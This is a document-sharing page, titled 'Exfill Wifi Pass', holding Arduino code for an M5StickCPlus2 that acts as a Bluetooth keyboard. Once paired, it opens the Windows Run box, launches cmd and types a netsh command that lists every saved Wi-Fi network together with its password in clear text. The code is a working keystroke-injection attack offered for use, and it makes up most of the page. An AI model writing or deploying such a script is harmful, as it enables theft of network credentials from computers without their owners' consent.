0% found this document useful (0 votes)
9 views1 page

Exfill Wifi Pass

This document contains a code snippet for an Arduino program using the M5StickCPlus2 and BleKeyboard libraries. It initializes a Bluetooth keyboard, simulates key presses to open the command prompt, and executes a command to display Wi-Fi profiles and their keys. The loop function checks for an active Bluetooth connection to perform additional actions if necessary.

Uploaded by

leomedcompras
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
9 views1 page

Exfill Wifi Pass

This document contains a code snippet for an Arduino program using the M5StickCPlus2 and BleKeyboard libraries. It initializes a Bluetooth keyboard, simulates key presses to open the command prompt, and executes a command to display Wi-Fi profiles and their keys. The loop function checks for an active Bluetooth connection to perform additional actions if necessary.

Uploaded by

leomedcompras
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 1

#include <M5StickCPlus2.

h>
#include <BleKeyboard.h>

BleKeyboard bleKeyboard;

void setup() {
Serial.begin(115200);
Serial.println("Starting BLE work!");
bleKeyboard.begin();

// Wait for BLE initialization


delay(2000);

// Simulate key presses to open CMD and execute your command


bleKeyboard.press(KEY_LEFT_GUI); // Windows key
bleKeyboard.press('r');
delay(100);
bleKeyboard.releaseAll();
delay(100);
bleKeyboard.print("cmd");
bleKeyboard.press(KEY_RETURN);
delay(100);
bleKeyboard.releaseAll();
delay(100);

// Type and execute your custom command


bleKeyboard.print("for /f \"skip=9 tokens=1,2 delims=:\" %%i in ('netsh wlan
show profiles') do @echo %%j | netsh wlan show profiles %%j key=clear | findstr
/C:\"SSID name\" /C:\"Key Content\"");
bleKeyboard.press(KEY_RETURN);
delay(100);
bleKeyboard.releaseAll();
delay(100);
}

void loop() {
// Check if BLE connection is active
if (bleKeyboard.isConnected()) {
// Perform any other necessary actions here
// ...
}
}

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy